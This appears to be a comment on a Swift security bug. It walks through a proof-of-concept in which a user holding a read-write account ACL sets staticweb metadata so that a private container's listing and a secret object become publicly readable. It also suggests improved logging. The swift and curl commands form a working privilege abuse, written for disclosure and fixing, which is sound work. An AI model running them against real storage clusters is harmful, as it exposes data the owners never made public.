Comment 24 for bug 1489749

@Clay: so far I did not found any more daemons, tried a lot of ideas, but the only other thing I found is related to account acls. That doesn't mean that I found everything yet....

The following example works also with the correct pipeline order; the make_pre_auth_env is the problem here again. Users with a read-write account acl might abuse this, because the staticweb meta keys are unprivileged keys (while read acl is a privileged key and thus removed if sent from a non-owner). This might apply to other authentication middlewares as well; basically whenever non-owners can post to a container.

# Upload a dummy object. Note the 401 in the beginning; if there are objects
# stored in the container that begin with a valid http code, they could be made
# public readable without an acl. see below
echo -e "\nsomething secret\n" > 401storiesaboutasecret
swift upload mycontainer 401storiesaboutasecret

# allow read/write access to test:tester3 to containers
swift post -H 'X-Account-Access-Control: {"read-write":["test:tester3"]}'

# test:tester3 can't modify acls on the container - this is as expected
swift -U test:tester3 -K testing3 post -r ".r:*" mycontainer
swift stat -v mycontainer

# However, test:test3 can enable staticweb, and listing works without any acl
swift -U test:tester3 -K testing3 post -m "web-listings: true" mycontainer
curl http://saio:8080/v1/AUTH_test/mycontainer/

# And for the sake of it - abuse the error response
swift -U test:tester3 -K testing3 post -m "web-index: some_non_existing_objectname" mycontainer
swift -U test:tester3 -K testing3 post -m "web-error: storiesaboutasecret" mycontainer
curl http://saio:8080/v1/AUTH_test/mycontainer/

Also, we might want to improve logging; the "real" objectname only shows up in the object-server logs, not in the proxy server log, thus auditing GET requests is somewhat more difficult.